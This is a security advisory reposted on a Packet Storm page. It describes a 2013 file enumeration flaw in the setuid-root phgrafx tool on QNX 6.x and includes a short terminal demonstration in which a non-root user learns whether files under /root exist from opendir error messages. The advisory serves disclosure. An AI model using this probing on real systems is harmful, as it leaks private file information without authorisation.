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QNX 6.x phgrafx File Enumeration

🗓️ 10 Mar 2014 00:00:00Reported by cenobyteType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

QNX 6.x phgrafx File Enumeration Vulnerability Cenobyte 2013

Code
`# QNX 6.x phgrafx file enumeration vulnerability by cenobyte 2013  
# <[email protected]>  
#  
# - vulnerability description:  
# QNX setuid root /usr/photon/bin/phgrafx allows any non-root user to enumerate  
# files and directories due to opendir() messages.  
#  
# - vulnerable platforms:  
# QNX 6.5.0SP1  
# QNX 6.5.0  
# QNX 6.4.1  
# QNX 6.3.0  
# QNX 6.2.0  
#  
# - note:  
# Leveraging this on QNX versions <= 6.3.0 will result in a core dump.  
  
$ id  
uid=100(user) gid=100  
  
# directory /root/.ph exists:  
$ /usr/photon/bin/phgrafx -d /root/.ph  
load_display_conf(): No such file or directory  
  
# file /root/.profile exsts:  
$ /usr/photon/bin/phgrafx -d /root/.profile  
/root/.profile: opendir(): Not a directory  
load_display_conf(): Not a directory  
  
# /root/doesnotexist does not exist:  
$ /usr/photon/bin/phgrafx -d /root/doesnotexist  
/root/doesnotexist: opendir(): No such file or directory  
load_display_conf(): No such file or directory  
`

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